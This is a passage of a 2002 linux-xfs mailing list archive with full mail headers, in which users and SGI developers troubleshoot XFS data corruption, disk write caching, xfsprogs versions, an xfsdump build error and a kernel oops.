SCSI disks in a software mirror. I'm using the software >raid setup in the 2.4.19 kernel as it was as recent as possible. You did not per chance get a 2.4.19 patch with the mmap problem in it did you? Can you fetch the latest and greatest (CVS) and check with that kernel. Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Tue Aug 27 00:01:40 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 00:01:44 -0700 (PDT) Received: from newmail.emergence.com (newmail.emergence.com [209.5.172.115]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7R71dtG017423 for ; Tue, 27 Aug 2002 00:01:39 -0700 Received: from h24-86-77-34.ed.shawcable.net ([24.86.77.34] helo=emergence.com) by newmail.emergence.com with esmtp (TLSv1:RC4-MD5:128) (Exim 3.34 #1) id 17jaPa-0007g4-00; Tue, 27 Aug 2002 01:05:15 -0600 Message-ID: <3D6B2495.4040007@emergence.com> Date: Tue, 27 Aug 2002 01:04:53 -0600 From: Michael Best User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020821 X-Accept-Language: en-us, en MIME-Version: 1.0 To: johncoltrane39@gmx.de CC: linux-xfs@oss.sgi.com Subject: Re: hanging when mounting, success References: <4.3.2.7.2.20020826111628.03b2e510@pop.xs4all.nl> <25764.1030429257@www4.gmx.net> Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 38 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mbest@emergence.com Precedence: bulk X-list: linux-xfs johncoltrane39@gmx.de wrote: > Hello Seth, hello list, Hello > After booting with this kernel and mounting/unmounting my corrupted XFS > partitions I simply did a "xfs_repair /device" (device here is a placeholder ;-) > which produced some messages I attach to this mail. The xfs_repair (which I > have updated to the recent xfsprogs-2.0.3-0.i386.rpm) Good to hear things started working again, although 2.0.3-0 isn't terribly current as the xfsprogs are up to 2.2.1-0 in: ftp://oss.sgi.com/projects/xfs/download/cmd_rpms/i386/ Even though the xfsprogs tarball that I just built appears to be 2.1.2 ftp://oss.sgi.com/projects/xfs/download/cmd_tars/xfsprogs-2.1.2.src.tar.gz Anyone, are these the same version or is the tarball lagging? rpm2cpio ../xfsprogs-2.2.1-0.src.rpm | cpio -i Yields me an xfsprogs-2.2.1.src.tar.gz, where is this on the ftp? -Mike From owner-linux-xfs@oss.sgi.com Tue Aug 27 01:06:44 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 01:06:50 -0700 (PDT) Received: from mx.de.kpnqwest.net (mx.de.kpnqwest.net [193.141.40.5]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7R86XtG018582 for ; Tue, 27 Aug 2002 01:06:34 -0700 Received: from lizard.webland.de (lizard.webland.de [194.122.76.201]) by mx.de.kpnqwest.net (Postfix (mxkq02)) with ESMTP id D206EC2B2; Tue, 27 Aug 2002 09:37:11 +0200 (MEST) (envelope-from simon.matter@ch.sauter-bc.com) Received: (from uucp@localhost) by lizard.webland.de (8.8.8/8.8.7) id JAA22760; Tue, 27 Aug 2002 09:37:10 +0200 (MET DST) >Received: from tempmail.sauter-bc.com (tempmail [10.1.6.25]) by zuerich.sauter-bc.com (Postfix) with ESMTP id 1044C138010; Tue, 27 Aug 2002 09:36:39 +0200 (CEST) Received: from ssba-bsl.cad.sba (ssba-bsl.cad.sba [10.1.6.20]) by tempmail.sauter-bc.com (Postfix) with ESMTP id 57F2219059; Tue, 27 Aug 2002 09:36:14 +0200 (CEST) Received: from ch.sauter-bc.com (sup.cad.sba [10.1.200.117]) by ssba-bsl.cad.sba (Postfix) with ESMTP id 8927C30881D; Tue, 27 Aug 2002 09:36:32 +0200 (CEST) Message-ID: <3D6B2C00.33549A97@ch.sauter-bc.com> Date: Tue, 27 Aug 2002 09:36:32 +0200 From: Simon Matter Organization: Sauter AG, Basel X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.19-6.2.16 i686) X-Accept-Language: de-CH MIME-Version: 1.0 To: Chris Tooley Cc: linux-xfs@oss.sgi.com Subject: Re: Locking problems References: <1030377163.28487.16.camel@itspec.amoa.org> <20020826190700.GB1894@thompsk.student.earlham.edu> <1030396680.32227.1.camel@itspec.amoa.org> Content-Transfer-Encoding: 8bit Content-type: text/plain; charset=us-ascii X-archive-position: 39 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: simon.matter@ch.sauter-bc.com Precedence: bulk X-list: linux-xfs Chris Tooley schrieb: > > No, they are SCSI disks in a software mirror. I'm using the software > raid setup in the 2.4.19 kernel as it was as recent as possible. It could still be a write caching problem, if they cycle power often. Today, most SCSI disks have write cache enabled by default and that can be quite dangerous with XFS in case of power failure. Simon > > Chris Tooley > > On Mon, 2002-08-26 at 14:07, Skylar Thompson wrote: > > On Mon, Aug 26, 2002 at 10:52:43AM -0500, Chris Tooley wrote: > > > > > > We're running a point of sale system on Linux and have put the data on > > > an XFS partition. Unfortunately there has been consistent corruption of > > > the data during writes to the database. Since the database is an ISAM > > > database, it's all stored in files that are opened and closed a lot. > > > The vendor of the point of sale is blaming XFS for the corruption. The > > > application is an old COBOL app that is using the binary compatability > > > modules to run. Are there any known problems with corruption when using > > > these binary compatability libraries with 1.1? > > > > Are you using IDE drives? I know there are problems with some IDE drives > > caching data incorrectly, which causes corruption in the event of a power > > failure. > > > > -- > > -- Skylar Thompson (skylar@attglobal.net) > > > > -- Attached file included as plaintext by Ecartis -- > > -----BEGIN PGP SIGNATURE----- > > Version: GnuPG v1.0.6 (GNU/Linux) > > Comment: For info see http://www.gnupg.org > > > > iD8DBQE9anxUYyzijMrwBxERAmEZAJ9DWcmS9BwJ+3Eev0bAxwsYbs+nGwCgi2h0 > > frlaiUyM1pkT+yvnu/GqRqA= > > =R66B > > -----END PGP SIGNATURE----- > > > > > > From owner-linux-xfs@oss.sgi.com Tue Aug 27 01:19:27 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 01:19:29 -0700 (PDT) Received: from msrv.minfin.govrn.bg ([212.122.164.3]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7R8JFtG019178 for ; Tue, 27 Aug 2002 01:19:27 -0700 Received: from larry.minfin.government.bg ([192.168.1.12]) by msrv.minfin.govrn.bg (Netscape Messaging Server 3.62) with ESMTP id 2865 for ; Tue, 27 Aug 2002 02:02:57 +0300 Received: (qmail 5521 invoked by uid 0); 26 Aug 2002 20:03:35 -0000 Date: 26 Aug 2002 20:03:35 -0000 Message-ID: <20020826200335.5520.qmail@larry.minfin.government.bg> From: root@larry.minfin.government.bg.sgi.com To: compile@larry.minfin.government.bg.sgi.com, linux-xfs@oss.sgi.com, problem@larry.minfin.government.bg.sgi.com Subject: xfsdump X-archive-position: 40 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: root@larry.minfin.government.bg.sgi.com Precedence: bulk X-list: linux-xfs i have errors trying to compile xfsdump error output is follow: === invutil === gcc -O1 -g -DDEBUG -funsigned-char -Wall -DDUMP -DBASED -DDOSOCKS -DINVCONVFIX -DSIZEEST -DPIPEINVFIX -I../include -I/usr/include/xfs -I/usr/include/attr '-DVERSION="2.1.5"' -D_FILE_OFFSET_BITS=64 -D_GNU_SOURCE -DXFS_BIG_FILES=1 -DXFS_BIG_FILESYSTEMS=1 -I../include -I/usr/include/xfs -I/usr/include/attr -c -o inv_files.o inv_files.c gcc -O1 -g -DDEBUG -funsigned-char -Wall -DDUMP -DBASED -DDOSOCKS -DINVCONVFIX -DSIZEEST -DPIPEINVFIX -I../include -I/usr/include/xfs -I/usr/include/attr '-DVERSION="2.1.5"' -D_FILE_OFFSET_BITS=64 -D_GNU_SOURCE -DXFS_BIG_FILES=1 -DXFS_BIG_FILESYSTEMS=1 -I../include -I/usr/include/xfs -I/usr/include/attr -c -o invutil.o invutil.c /usr/bin/libtool --mode=link gcc -o xfsinvutil inv_files.o invutil.o /usr/lib/libuuid.a @libcurses@ mkdir .libs gcc -o xfsinvutil inv_files.o invutil.o @libcurses@ /usr/lib/libuuid.a gcc: @libcurses@: No such file or directory make[1]: *** [xfsinvutil] Error 1 make: *** [default] Error 2 this is tofdays CVS snapshot (26/08/2002) system is fresh install of slackware 8.1 with CVS 2.4.19-xfs kernel As allways thanks for outstanding job folks :-)) larry@minfin.governmetn.bg Senior System Administrator #@# Ministry of Finance of Bulgaria From owner-linux-xfs@oss.sgi.com Tue Aug 27 02:03:13 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 02:03:16 -0700 (PDT) Received: from mx0.gmx.net (mx0.gmx.de [213.165.64.100]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7R93CtG020049 for ; Tue, 27 Aug 2002 02:03:12 -0700 Received: (qmail 14303 invoked by uid 0); 27 Aug 2002 09:06:33 -0000 Date: Tue, 27 Aug 2002 11:06:33 +0200 (MEST) From: johncoltrane39@gmx.de To: Michael Best Cc: linux-xfs@oss.sgi.com MIME-Version: 1.0 References: <3D6B2495.4040007@emergence.com> Subject: Re: hanging when mounting, success X-Priority: 3 (Normal) X-Authenticated-Sender: #0012433339@gmx.net X-Authenticated-IP: [193.158.59.4] Message-ID: <9869.1030439193@www5.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 41 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: johncoltrane39@gmx.de Precedence: bulk X-list: linux-xfs Hello Michael, hello list, > > johncoltrane39@gmx.de wrote: > > Hello Seth, hello list, > > Hello > [xfsprogs-2.0.3-0.i386.rpm] > > Good to hear things started working again, although 2.0.3-0 isn't > terribly current as the xfsprogs are up to 2.2.1-0 in: > > ftp://oss.sgi.com/projects/xfs/download/cmd_rpms/i386/ > > Even though the xfsprogs tarball that I just built appears to be 2.1.2 > ftp://oss.sgi.com/projects/xfs/download/cmd_tars/xfsprogs-2.1.2.src.tar.gz I just downloaded this 2.0.3.rpm yesterday from ftp://oss.sgi.com/projects/xfs/download/Release-1.1/cmd_rpms/i386 (not a mirror). Meanwhile (after sending the mail) I also saw that 2.0.3 is not the most recent release. It did the job, but surely it would be better to use the newest release. > > Anyone, are these the same version or is the tarball lagging? > > rpm2cpio ../xfsprogs-2.2.1-0.src.rpm | cpio -i > > Yields me an xfsprogs-2.2.1.src.tar.gz, where is this on the ftp? I don't know :-). My question to the developers, Which one should be used ? > > -Mike cheers, Gerd > > -- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.net From owner-linux-xfs@oss.sgi.com Tue Aug 27 05:43:36 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 05:43:42 -0700 (PDT) Received: from thompsk.student.earlham.edu (thompsk.student.earlham.edu [159.28.164.194]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RChPtG028754 for ; Tue, 27 Aug 2002 05:43:26 -0700 Received: by thompsk.student.earlham.edu (Postfix, from userid 502) id 6FCB935CD250; Tue, 27 Aug 2002 07:46:53 -0500 (CDT) Date: Tue, 27 Aug 2002 07:46:53 -0500 From: Skylar Thompson To: linux-xfs@oss.sgi.com Subject: Re: Locking problems Message-ID: <20020827124653.GA16016@thompsk.student.earlham.edu> Reply-To: Skylar Thompson Mail-Followup-To: linux-xfs@oss.sgi.com References: <1030377163.28487.16.camel@itspec.amoa.org> <20020826190700.GB1894@thompsk.student.earlham.edu> <1030396680.32227.1.camel@itspec.amoa.org> <3D6B2C00.33549A97@ch.sauter-bc.com> Mime-Version: 1.0 Content-type: text/plain Content-Disposition: inline In-Reply-To: <3D6B2C00.33549A97@ch.sauter-bc.com> User-Agent: Mutt/1.4i X-Sender: "Skylar Thompson" X-Accept-Primary-Language: en X-Accept-Secondary-Language: es X-Accept-Tertiary-Language: Quenya SMTP-Mailing-Host: thompsk.student.earlham.edu X-System: Dual 450MHz Xeons with 256MB PC100 ECC-SDRAM X-Machine: IBM Intellistation Z Pro 6865-22U X-Operating-System: Red Hat Linux 7.2 with kernel 2.4.18-grsec Organization: League of Morgoth X-Editor: VIM - Vi IMproved 6.1 (2002 Mar 24, compiled Mar 26 2002 21:28:16) Content-Transfer-Encoding: 8bit X-archive-position: 42 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: skylar@attglobal.net Precedence: bulk X-list: linux-xfs On Tue, Aug 27, 2002 at 09:36:32AM +0200, Simon Matter wrote: > > Chris Tooley schrieb: > > > > No, they are SCSI disks in a software mirror. I'm using the software > > raid setup in the 2.4.19 kernel as it was as recent as possible. > > It could still be a write caching problem, if they cycle power often. > Today, most SCSI disks have write cache enabled by default and that can > be quite dangerous with XFS in case of power failure. Don't SCSI disks respond correctly to no-cache commands though? -- -- Skylar Thompson (skylar@attglobal.net) -- Attached file included as plaintext by Ecartis -- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9a3S9YyzijMrwBxERAnsjAJ0egLBpl4nEyszeC9AaGogXLNzk+QCdFGaC CVFV5jzO+YS510UGzG5IjR0= =Hgl8 -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Tue Aug 27 06:31:14 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 06:31:19 -0700 (PDT) Received: from mail.visp.co.nz (mx1.visp.co.nz [210.55.24.20]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RDVDtG031071 for ; Tue, 27 Aug 2002 06:31:14 -0700 Received: from localhost.localdomain (210-54-175-12.visp.co.nz [210.54.175.12] (may be forged)) by mail.visp.co.nz (8.11.1/8.11.1) with ESMTP id g7RDYeV52174 for ; Wed, 28 Aug 2002 01:34:40 +1200 (NZST) Subject: kernel BUG at page_alloc.c:103! From: mdew To: xfs Content-type: text/plain X-Mailer: Ximian Evolution 1.0.8 Date: 28 Aug 2002 01:31:15 +1200 Message-Id: <1030455077.2879.6.camel@mdew> Mime-Version: 1.0 Content-Transfer-Encoding: 8bit X-archive-position: 43 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mdew@orcon.net.nz Precedence: bulk X-list: linux-xfs ok, sure its a rather heavily patched kernel...but something caused it to hang...sorry i dont have more info, i dont normally have debug info turned on. The kernel is rather stable, havent had any problems till now. linux-2.4.19-xfs-2002-08-04-cvs.patch 2.4.19-rmap14a htb3.6-020525 (modified for 2.4.19) cobra gamepad-usb-patch, my personal use :) preempt-kernel-rml-2.4.19-1.patch Aug 27 23:52:55 mdew kernel: kernel BUG at page_alloc.c:103! Aug 27 23:52:55 mdew kernel: invalid operand: 0000 Aug 27 23:52:55 mdew kernel: CPU: 0 Aug 27 23:52:55 mdew kernel: EIP: 0010:[] Tainted: P Aug 27 23:52:55 mdew kernel: EFLAGS: 00210286 Aug 27 23:52:55 mdew kernel: eax: 0100001d ebx: c0300fa0 ecx: c0301100 edx: c13cbf34 Aug 27 23:52:55 mdew kernel: esi: c13c90c8 edi: 00000000 ebp: 00000000 esp: c1f85f60 Aug 27 23:52:55 mdew kernel: ds: 0018 es: 0018 ss: 0018 Aug 27 23:52:55 mdew kernel: Process kswapd (pid: 4, stackpage=c1f85000) Aug 27 23:52:55 mdew kernel: Stack: d03b8b00 00200292 00000001 00200282 c1f84000 d03b8b00 d03b8b00 c13c90c8 Aug 27 23:52:55 mdew kernel: c01440e5 d03b8b00 c13c90c8 c1f84000 00000178 c0301100 c013553c c13c90c8 Aug 27 23:52:55 mdew kernel: 00000030 c13c90e4 c13c90c8 c0136757 c0301100 00000002 c0301144 00000000 Aug 27 23:52:55 mdew kernel: Call Trace: [] [] [] [] [] Aug 27 23:52:55 mdew kernel: [] [] Aug 27 23:52:55 mdew kernel: Aug 27 23:52:55 mdew kernel: Code: 0f 0b 67 00 9d 3b 2d c0 8b 0d 70 e4 35 c0 89 f0 29 c8 c1 f8 Aug 27 23:52:55 mdew kernel: <6>note: kswapd[4] exited with preempt_count 1 -- ph33r! Linux mdew 2.4.19-xfs-rmap14a-prempt-mdw #2 Sun Aug 25 00:53:27 NZST 2002 i686 unknown unknown GNU/Linux GPG Key: http://mdew.orcon.net.nz/gpg -- Attached file included as plaintext by Ecartis -- -- File: signature.asc -- Desc: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQA9a38iH5J/xul0J+4RAkhdAJ9E0h/z/K1FvagizGppP2MsSI61wwCgnnr6 oTz+e8v7WHjKS/EHeiEdhnU= =3Lz+ -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Tue Aug 27 06:38:00 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 06:38:01 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RDbxtG031563 for ; Tue, 27 Aug 2002 06:38:00 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id IAA26691; Tue, 27 Aug 2002 08:41:21 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id IAA06001; Tue, 27 Aug 2002 08:41:20 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7RDeXl16693; Tue, 27 Aug 2002 08:40:33 -0500 Subject: Re: kernel BUG at page_alloc.c:103! From: Steve Lord To: mdew Cc: xfs In-Reply-To: <1030455077.2879.6.camel@mdew> References: <1030455077.2879.6.camel@mdew> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 27 Aug 2002 08:40:33 -0500 Message-Id: <1030455633.16575.1.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 44 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Tue, 2002-08-27 at 08:31, mdew wrote: > ok, sure its a rather heavily patched kernel...but something caused it > to hang...sorry i dont have more info, i dont normally have debug info > turned on. The kernel is rather stable, havent had any problems till > now. > > linux-2.4.19-xfs-2002-08-04-cvs.patch > 2.4.19-rmap14a > htb3.6-020525 (modified for 2.4.19) > cobra gamepad-usb-patch, my personal use :) > preempt-kernel-rml-2.4.19-1.patch > > > Aug 27 23:52:55 mdew kernel: kernel BUG at page_alloc.c:103! The least you could do is forward your page_alloc.c I have no idea what is in yours. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Tue Aug 27 06:48:52 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 06:48:59 -0700 (PDT) Received: from mail.visp.co.nz (mx1.visp.co.nz [210.55.24.20]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RDmptG032111 for ; Tue, 27 Aug 2002 06:48:52 -0700 Received: from localhost.localdomain (210-54-175-12.visp.co.nz [210.54.175.12] (may be forged)) by mail.visp.co.nz (8.11.1/8.11.1) with ESMTP id g7RDq0V75183; Wed, 28 Aug 2002 01:52:03 +1200 (NZST) Subject: Re: kernel BUG at page_alloc.c:103! From: mdew To: Steve Lord Cc: xfs In-Reply-To: <1030455633.16575.1.camel@jen.americas.sgi.com> References: <1030455077.2879.6.camel@mdew> <1030455633.16575.1.camel@jen.americas.sgi.com> Content-type: text/plain X-Mailer: Ximian Evolution 1.0.8 Date: 28 Aug 2002 01:48:25 +1200 Message-Id: <1030456127.2908.8.camel@mdew> Mime-Version: 1.0 Content-Transfer-Encoding: 8bit X-archive-position: 45 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mdew@orcon.net.nz Precedence: bulk X-list: linux-xfs http://mylogin.orcon.net.nz/page_alloc.c On Wed, 2002-08-28 at 01:40, Steve Lord wrote: > On Tue, 2002-08-27 at 08:31, mdew wrote: > > ok, sure its a rather heavily patched kernel...but something caused it > > to hang...sorry i dont have more info, i dont normally have debug info > > turned on. The kernel is rather stable, havent had any problems till > > now. > > > > linux-2.4.19-xfs-2002-08-04-cvs.patch > > 2.4.19-rmap14a > > htb3.6-020525 (modified for 2.4.19) > > cobra gamepad-usb-patch, my personal use :) > > preempt-kernel-rml-2.4.19-1.patch > > > > > > Aug 27 23:52:55 mdew kernel: kernel BUG at page_alloc.c:103! > > The least you could do is forward your page_alloc.c I have no > idea what is in yours. > > Steve > > > -- > > Steve Lord voice: +1-651-683-3511 > Principal Engineer, Filesystem Software email: lord@sgi.com -- ph33r! Linux mdew 2.4.19-xfs-rmap14a-prempt-mdw #2 Sun Aug 25 00:53:27 NZST 2002 i686 unknown unknown GNU/Linux GPG Key: http://mdew.orcon.net.nz/gpg -- Attached file included as plaintext by Ecartis -- -- File: signature.asc -- Desc: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQA9a4MpH5J/xul0J+4RAhZaAKCXVF9zIq5sxuFIe6av6qiqRPw/8gCcDkmG Szh9gGkON43l8bCwUqrQlZc= =iQxy -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Tue Aug 27 06:49:30 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 06:49:32 -0700 (PDT) Received: from itspec.amoa.org (amoa.org [207.207.51.226]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RDnUtG032282 for ; Tue, 27 Aug 2002 06:49:30 -0700 Received: (from ctooley@localhost) by itspec.amoa.org (8.11.6/8.11.6) id g7RDrHj00529; Tue, 27 Aug 2002 08:53:17 -0500 X-Authentication-Warning: itspec.amoa.org: ctooley set sender to ctooley@amoa.org using -f Subject: Re: Locking problems From: Chris Tooley To: Simon Matter Cc: linux-xfs@oss.sgi.com In-Reply-To: <3D6B2C00.33549A97@ch.sauter-bc.com> References: <1030377163.28487.16.camel@itspec.amoa.org> <20020826190700.GB1894@thompsk.student.earlham.edu> <1030396680.32227.1.camel@itspec.amoa.org> <3D6B2C00.33549A97@ch.sauter-bc.com> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 27 Aug 2002 08:53:17 -0500 Message-Id: <1030456397.454.2.camel@itspec.amoa.org> Mime-Version: 1.0 X-archive-position: 46 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ctooley@amoa.org Precedence: bulk X-list: linux-xfs It's not a power cycle problem. I never power cycle the server and as it happens when the only method of launching the app is via a secure shell to the server, the processes are there. We don't have a problem with having to power cycle the computers. I doubt it is write caching, but where would I look to turn that off? At this point I've had to move the data, format as ext2 and move the data back. It's not been tested yet, though I expect the same results via ext2. Chris Tooley On Tue, 2002-08-27 at 02:36, Simon Matter wrote: > > Chris Tooley schrieb: > > > > No, they are SCSI disks in a software mirror. I'm using the software > > raid setup in the 2.4.19 kernel as it was as recent as possible. > > It could still be a write caching problem, if they cycle power often. > Today, most SCSI disks have write cache enabled by default and that can > be quite dangerous with XFS in case of power failure. > > Simon > > > > > Chris Tooley > > > > On Mon, 2002-08-26 at 14:07, Skylar Thompson wrote: > > > On Mon, Aug 26, 2002 at 10:52:43AM -0500, Chris Tooley wrote: > > > > > > > > We're running a point of sale system on Linux and have put the data on > > > > an XFS partition. Unfortunately there has been consistent corruption of > > > > the data during writes to the database. Since the database is an ISAM > > > > database, it's all stored in files that are opened and closed a lot. > > > > The vendor of the point of sale is blaming XFS for the corruption. The > > > > application is an old COBOL app that is using the binary compatability > > > > modules to run. Are there any known problems with corruption when using > > > > these binary compatability libraries with 1.1? > > > > > > Are you using IDE drives? I know there are problems with some IDE drives > > > caching data incorrectly, which causes corruption in the event of a power > > > failure. > > > > > > -- > > > -- Skylar Thompson (skylar@attglobal.net) > > > > > > -- Attached file included as plaintext by Ecartis -- > > > -----BEGIN PGP SIGNATURE----- > > > Version: GnuPG v1.0.6 (GNU/Linux) > > > Comment: For info see http://www.gnupg.org > > > > > > iD8DBQE9anxUYyzijMrwBxERAmEZAJ9DWcmS9BwJ+3Eev0bAxwsYbs+nGwCgi2h0 > > > frlaiUyM1pkT+yvnu/GqRqA= > > > =R66B > > > -----END PGP SIGNATURE----- > > > > > > > > > > > From owner-linux-xfs@oss.sgi.com Tue Aug 27 06:52:41 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 06:52:42 -0700 (PDT) Received: from relay.dera.gov.uk (relay.dera.gov.uk [192.5.29.49]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RDqdtG000600 for ; Tue, 27 Aug 2002 06:52:40 -0700 Received: (qmail 19840 invoked from network); 27 Aug 2002 14:56:07 +0100 Received: from butterfly.mod.uk (HELO warlock.dstl.gov.uk) (192.5.29.10) by relay.dera.gov.uk with SMTP; 27 Aug 2002 14:56:07 +0100 Subject: Re: kernel BUG at page_alloc.c:103! From: Tony Gale To: mdew Cc: xfs In-Reply-To: <1030455077.2879.6.camel@dstl.gov.uk> References: <1030455077.2879.6.camel@dstl.gov.uk> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8.99 Date: 27 Aug 2002 14:56:06 +0100 Message-Id: <1030456566.2971.7.camel@syntax.dstl.gov.uk> Mime-Version: 1.0 X-archive-position: 47 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: gale@syntax.dstl.gov.uk Precedence: bulk X-list: linux-xfs On Tue, 2002-08-27 at 14:31, mdew wrote: > Aug 27 23:52:55 mdew kernel: EIP: 0010:[] Tainted: P What module is your kernel tainted with? If it's Nvidia, then go bug them about fixing this bug in their driver. -tony From owner-linux-xfs@oss.sgi.com Tue Aug 27 06:54:06 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 06:54:08 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RDs5tG001016 for ; Tue, 27 Aug 2002 06:54:06 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id IAA25745; Tue, 27 Aug 2002 08:57:27 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id IAA31559; Tue, 27 Aug 2002 08:57:27 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7RDufY16773; Tue, 27 Aug 2002 08:56:41 -0500 Subject: Re: Locking problems From: Steve Lord To: Chris Tooley Cc: Simon Matter , linux-xfs@oss.sgi.com In-Reply-To: <1030456397.454.2.camel@itspec.amoa.org> References: <1030377163.28487.16.camel@itspec.amoa.org> <20020826190700.GB1894@thompsk.student.earlham.edu> <1030396680.32227.1.camel@itspec.amoa.org> <3D6B2C00.33549A97@ch.sauter-bc.com> <1030456397.454.2.camel@itspec.amoa.org> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 27 Aug 2002 08:56:41 -0500 Message-Id: <1030456601.16698.6.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 48 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Tue, 2002-08-27 at 08:53, Chris Tooley wrote: > > It's not a power cycle problem. I never power cycle the server and as > it happens when the only method of launching the app is via a secure > shell to the server, the processes are there. We don't have a problem > with having to power cycle the computers. > > I doubt it is write caching, but where would I look to turn that off? > > At this point I've had to move the data, format as ext2 and move the > data back. It's not been tested yet, though I expect the same results > via ext2. Well if you do get the same result then it has got to be the application. The cache questions were all based around assumptions about power being lost, if the server never goes down, and the application is running on the server, then you do not have to worry in that area. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Tue Aug 27 07:14:11 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 07:14:17 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7REEBtG002305 for ; Tue, 27 Aug 2002 07:14:11 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with 